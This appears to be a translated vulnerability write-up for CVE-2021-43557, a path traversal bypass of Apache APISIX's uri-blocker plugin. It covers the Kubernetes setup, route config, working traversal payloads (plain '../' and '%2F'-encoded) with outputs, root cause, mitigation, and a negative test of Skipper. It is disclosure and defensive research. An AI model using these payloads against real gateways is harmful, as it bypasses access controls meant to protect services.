目录导航
CVE-2021-43557:Apache APISIX:request_uri 变量中的路径遍历

在本文中,我将介绍我对Apache APISIX入口控制器中$request_uri
变量的不安全使用的研究。我的工作最终提交了安全漏洞,得到了肯定的确认并获得了 CVE-2021-43557。在文章的最后,我将简短地提到我针对相同问题进行过测试的Skipper。
什么是 APISIX?来自官网:
Apache APISIX 是一个动态的、实时的、高性能的 API 网关。APISIX 提供了丰富的流量管理功能,例如负载平衡、动态上游、金丝雀发布、断路、身份验证、可观察性等。
为什么是$request_uri
?此变量在身份验证和授权插件中多次使用。它没有标准化,因此可以绕过一些限制。
在 Apache APISIX 中,没有外部身份验证/授权的典型功能。您可以编写自己的插件,但它非常复杂。为了证明 APISIX 容易受到路径遍历的影响,我将使用uri-blocker
插件。我怀疑其他插件也容易受到攻击,但这个插件很容易使用。
设置环境
将 APISIX 安装到 Kubernetes 中。使用版本0.7.2 的helm :
helm repo add apisix https://charts.apiseven.com
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
kubectl create ns ingress-apisix
helm install apisix apisix/apisix \
--set gateway.type=NodePort \
--set ingress-controller.enabled=true \
--namespace ingress-apisix \
--version 0.7.2
kubectl get service --namespace ingress-apisix
如果出现问题,请遵循官方指南。
要创建入口路由,您需要部署ApisixRoute
资源:
apiVersion: apisix.apache.org/v2beta1
kind: ApisixRoute
metadata:
name: public-service-route
spec:
http:
- name: public-service-rule
match:
hosts:
- app.test
paths:
- /public-service/*
backends:
- serviceName: public-service
servicePort: 8080
plugins:
- name: proxy-rewrite
enable: true
config:
regex_uri: ["/public-service/(.*)", "/$1"]
- name: protected-service-rule
match:
hosts:
- app.test
paths:
- /protected-service/*
backends:
- serviceName: protected-service
servicePort: 8080
plugins:
- name: uri-blocker
enable: true
config:
block_rules: ["^/protected-service(/?).*"]
case_insensitive: true
- name: proxy-rewrite
enable: true
config:
regex_uri: ["/protected-service/(.*)", "/$1"]
让我们深入了解一下:
- 它为
public-service
和创建路由private-service
- 有
proxy-rewrite
打开以删除前缀 - 有
uri-blocker
插件配置为protected-service
。它可能看起来像错误,但这个插件将阻止任何以/protected-service
? 开头的请求
Exploitation
我在2.10.0版中使用 APISIX 。
伸手在minikube APISIX路线是相当不便:
kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'
为了减轻我的痛苦,我将编写可用作模板的小脚本:
#/bin/bash
kubectl exec -it -n ingress-apisix apisix-dc9d99d76-vl5lh -- curl --path-as-is http://127.0.0.1:9080$1 -H 'Host: app.test'
在您的情况下,替换apisix-dc9d99d76-vl5lh
为实际 APISIX pod 的名称。
让我们从验证路由和插件是否按预期工作开始:
$ ./apisix_request.sh "/public-service/public"
Defaulted container "apisix" out of: apisix, wait-etcd (init)
{"data":"public data"}
$ ./apisix_request.sh "/protected-service/protected"
Defaulted container "apisix" out of: apisix, wait-etcd (init)
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>openresty</center>
</body>
</html>
是的。public-service
可用protected-service
并被插件阻止。
现在让我们测试payload:
$ ./apisix_request.sh "/public-service/../protected-service/protected"
Defaulted container "apisix" out of: apisix, wait-etcd (init)
{"data":"protected data"}
第二个:
$ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
Defaulted container "apisix" out of: apisix, wait-etcd (init)
{"data":"protected data"}
正如你在这两种情况下所看到的,我能够绕过 uri 限制?
根本原因
uri-blocker
插件ctx.var.request_uri
在做出阻塞决策的逻辑中使用变量。您可以在代码中检查它:

影响
- 攻击者可以绕过访问控制限制并成功访问不应访问的路由,
- 自定义插件的开发人员不知道
ngx.var.request_uri
变量是不受信任的。
搜索用法var.request_uri
给了我一个提示,也许authz-keycloak 插件受到了影响。你可以看到这段代码,它看起来真的很讨厌。如果 keycloak 方面没有标准化,那么存在漏洞的可能性很大。
缓解措施
对于自定义插件,我建议在使用ngx.var.request_uri
变量之前进行路径规范化。还有另外两个变量,很可能是标准化的,要检查ctx.var.upstream_uri
和ctx.var.uri
。
Skipper
Skipper 是我研究过的另一个入口控制器。在kubernetes中安装并不容易,因为部署指南和helm charts已经过时了。幸运的是,我找到了开发人员描述如何安装它的问题页面。此入口提供了基于webhook 过滤器实现外部身份验证的可能性:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: my-ingress
annotations:
zalando.org/skipper-filter: |
modPath("^/.*/", "/") -> setRequestHeader("X-Auth-Request-Redirect", "${request.path}") -> webhook("http://auth-service.default.svc.cluster.local:8080/verify")
要添加一些有助于访问控制决策的有趣标头,您需要使用setRequestHeader
过滤器手动完成。有模板可用于注入变量${}
。可悲的是(对于攻击者)${request.path}
有规范化的路径 ? 我在代码中看到开发人员不容易 使用RequestURI
或originalRequest
.
在这种情况下,我无法利用路径遍历。Skipper仍然安全。
概括
Apache APISIX 容易受到路径遍历的影响。它不会影响任何外部身份验证,但会影响使用ctx.var.request_uri
变量的插件。
这个例子的完整代码在这里https://github.com/xvnpw/k8s-CVE-2021-43557-poc。